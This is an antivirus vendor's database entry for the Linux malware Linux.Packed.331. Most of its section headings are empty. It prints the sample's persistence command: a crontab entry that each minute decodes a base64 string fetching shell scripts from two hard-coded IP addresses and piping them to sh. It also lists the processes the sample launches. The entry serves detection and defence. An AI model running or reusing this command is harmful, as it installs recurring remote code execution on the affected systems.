Linux.Packed.331

Added to the Dr.Web virus database: 2019-03-11

Virus description added: 2019-03-11

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

Launches processes:

sh -c echo '* * * * * echo -n \"d2dldCAtTyAtIGh0dHA6Ly84Ny4yMzYuMjEyLjIzNy9kL3ouc2h8c2ggfHwgY3VybCBodHRwOi8vODcuMjM2LjIxMi4yMzcvZC96LmpwZ3xzaCA7IHdnZXQgLU8gLSBodHRwOi8vMTg1LjE2NS4xNjkuNi9kL3ouc2h8c2ggfHwgY3VybCBodHRwOi8vMTg1LjE2NS4xNjkuNi9kL3ouanBnfHNoIA==\" | base64 -d |sh > /dev/null' | crontab -;
crontab -
sh -c /root/eeiifn breeii
sh -c /root/eeiifn brsntj
/root/eeiifn brsntj

Kills system processes:

Kills the following processes:

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

HTTP GET requests: